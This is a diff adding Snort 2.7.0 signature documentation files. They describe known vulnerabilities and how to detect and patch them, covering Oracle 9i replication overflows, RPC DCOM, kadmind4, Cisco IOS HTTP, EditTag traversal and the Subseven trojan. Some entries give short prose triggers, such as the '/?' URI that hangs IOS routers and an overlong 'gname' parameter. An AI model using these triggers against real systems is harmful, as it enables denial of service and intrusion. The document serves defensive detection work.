+Faq-O-Matic is a CGI-based system that automates FAQ maintenance on a web server. Versions 2.712 and lower contain a cross-site scripting vulnerability where an attacker can craft a URL with malicious code in the "cmd" argument. If a legitimate user activates the URL, malicious code may be executed on the client computer with the security context of the web server.
+
+--
+Affected Systems:
+Systems running or accessing Faq-O-Matic version 2.712 or lower.
+
+--
+Attack Scenarios:
+An attacker crafts a URL that, when activated by a legitimate user, obtains the session cookie. This can allow the attacker to pose as the user for the duration of the session.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses fom.cgi, this rule may generate an alert.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Faq-O-Matic version 2.713 or higher. Upgrades are available at http://faqomatic.sourceforge.net.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/4023
+
+--
--- snort-2.7.0.orig/doc/signatures/2602.txt
+++ snort-2.7.0/doc/signatures/2602.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2602
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_master_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck87.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2675.txt
+++ snort-2.7.0/doc/signatures/2675.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2675
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure instantiate_offline
+. This procedure is included in
+dbms_repcat_rgt.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3348.txt
+++ snort-2.7.0/doc/signatures/3348.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3348
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000129.txt
+++ snort-2.7.0/doc/signatures/100000129.txt
@@ -0,0 +1,89 @@
+Rule: 
+
+--
+Sid: 
+100000129
+
+-- 
+Summary: 
+This event is generated when a malformed URL is sent to a Cisco IOS HTTP 
+Router, which may cause a denial of service.
+
+-- 
+
+Impact: 
+If a router running a vulnerable version of the IOS HTTP server receives this 
+request, it will fall into an infinite loop, causing a denial of service. The 
+router will restart after two minutes, when the system's watchdog timer 
+realizes that the router has become unresponsive.
+
+--
+Detailed Information:
+If a "?" character immediately follows a "/" character in a URI, vulnerable 
+versions of the Cisco IOS HTTP Router will fall into an infinite loop, causing 
+a denial of service. The router will restart after two minutes, when the 
+system's watchdog timer realizes that the router has become unresponsive.
+
+
+--
+Affected Systems:
+Cisco IOS 12.0 XJ
+Cisco IOS 12.0 XH
+Cisco IOS 12.0 XE
+Cisco IOS 12.0 XA
+Cisco IOS 12.0 W5
+Cisco IOS 12.0 T
+Cisco IOS 12.1 XP
+Cisco IOS 12.1 XL
+Cisco IOS 12.1 XJ
+Cisco IOS 12.1 XI
+Cisco IOS 12.1 XH
+Cisco IOS 12.1 XG
+Cisco IOS 12.1 XF
+Cisco IOS 12.1 XE
+Cisco IOS 12.1 XD
+Cisco IOS 12.1 XC
+Cisco IOS 12.1 XB
+Cisco IOS 12.1 XA
+Cisco IOS 12.1 T
+Cisco IOS 12.1 EC
+Cisco IOS 12.1 E
+Cisco IOS 12.1 DC
+Cisco IOS 12.1 DB
+Cisco IOS 12.1 DA
+Cisco IOS 12.1 AA
+Cisco IOS 12.1
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Apply the vendor-supplied patch, available at Cisco.com. As a workaround, the 
+IOS HTTP server may be disabled by using the command "no ip http server".
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1899.txt
+++ snort-2.7.0/doc/signatures/1899.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1899
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.7.0.orig/doc/signatures/2400.txt
+++ snort-2.7.0/doc/signatures/2400.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2400
+
+--
+Summary:
+This event is generated when an attempt is made to access the CGI script
+edittag.pl.
+
+--
+Impact:
+Information Disclosure
+
+--
+Detailed Information:
+EditTag is a perl script that can be used to manage web site content.
+
+The edittag.pl CGI script may allow an attacker to leverage a directory
+traversal attack on a web server. Due to insufficient checks on user
+supplied input, it may be possible for an attacker to supply encoded
+"../" characters to traverse out of the web root and view sensitive
+system files on the web server.
+
+--
+Affected Systems:
+	EditTag
+
+--
+Attack Scenarios:
+An attacker can utilize this vulnerability to gain sensitive information
+that may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2735.txt
+++ snort-2.7.0/doc/signatures/2735.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2735
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_char
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/122-11.txt
+++ snort-2.7.0/doc/signatures/122-11.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-11
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+protocol sweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/1025.txt
+++ snort-2.7.0/doc/signatures/1025.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1025
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running Microsoft IIS.
+
+This event indicates that an attempt has been made to access
+/scripts/perl on a web server. This may indicate that an attacker is
+attempting to run code of their choosing on that server.
+
+Perl should not be installed in a directory directly accessible via the
+Internet on a web server.
+
+--
+Affected Systems:
+	Any host using IIS with Active Perl installed.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the 
+IIS implementation. The attacker might then gain administrator access to
+the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Access to a webserver that stores web cgi scripts in /scripts/perl/ will
+generate events.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1793.txt
+++ snort-2.7.0/doc/signatures/1793.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1793
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "fetish".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "fetish".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2754.txt
+++ snort-2.7.0/doc/signatures/2754.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2754
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_site_priority
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2674.txt
+++ snort-2.7.0/doc/signatures/2674.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2674
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_delete_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2390.txt
+++ snort-2.7.0/doc/signatures/2390.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2390
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with WuFtpd STOU command.
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+WuFtpd is an FTP server based on BSD ftpd. A vulnerability exists 
+with the STOU command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the STOU 
+command.
+
+The issue exists in the realpath() function. It is possible for an
+attacker to send malformed data to the realpath() function that will
+cause the overflow condition to occur.
+
+--
+Affected Systems:
+	Multiple systems using affected C libraries, libc
+
+--
+Attack Scenarios:
+An attacker can use one of the publicly available exploit scripts to
+cause the overflow to occur.
+
+--
+Ease of Attack:
+Simple.  Many exploits exist.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Use scp as an alternative to ftp
+
+Disallow ftp access to internal resources from external sources
+
+Recompile binaries statically linked to the system libc implementation
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/273.txt
+++ snort-2.7.0/doc/signatures/273.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+273
+
+--
+Summary:
+This event is generated when a remote attacker transmits fragmented IGMP packets with malformed headers to the internal network, indicating an IGMP Denial of Service (DoS) attack.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+If an IGMP packet with a malformed header is transmitted to an unpatched Microsoft Windows computer, the computer may crash when it attempts to process the packet.  
+
+--
+Affected Systems:
+Microsoft Windows 95
+Microsoft Windows 98
+Microsoft Windows 98 SE
+Microsoft Windows NT 4
+
+--
+Attack Scenarios:
+An attacker sends fragmented IGMP packets with malformed headers to a target computer. If the computer is running an unpatched version of Windows, it may crash.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the latest patches available for your operating system. See http://www.microsoft.com/technet/security/bulletin/ms99-034.asp for more information.
+
+Implement a packet-filtering firewall to block inappropriate traffic to the network.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/514
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms99-034.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/3036.txt
+++ snort-2.7.0/doc/signatures/3036.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3036
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1464.txt
+++ snort-2.7.0/doc/signatures/1464.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1464
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1582.txt
+++ snort-2.7.0/doc/signatures/1582.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1582
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/949.txt
+++ snort-2.7.0/doc/signatures/949.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+949
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/103.txt
+++ snort-2.7.0/doc/signatures/103.txt
@@ -0,0 +1,119 @@
+Rule:
+
+--
+Sid:
+103
+
+--
+Summary:
+Subseven22 is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a 
+compromise of all resources the machine is connected to. This Trojan 
+also has the ability to delete data, steal passwords and disable the 
+machine. Other versions are capable of launching DDoS attacks.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes 
+changes to the system registry, Win.ini and System.ini. When first 
+executed the Trojan replicates itself and in most cases, gives the copy 
+a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+Subseven is an improved version of the Netbus Trojan (see sids 114, 
+115), Subseven DEFCON8 2.1 is an improved version of Subseven that 
+affects Windows 95 and 98 implementations.
+
+The Trojan changes system startup files and registry settings to add the
+Subseven sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	103	subseven 22 (incoming TCP connection)
+	107	subseven DEFCON8 2.1 access (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be 
+attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CLASSES_ROOT\exefile\shell\open\command
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
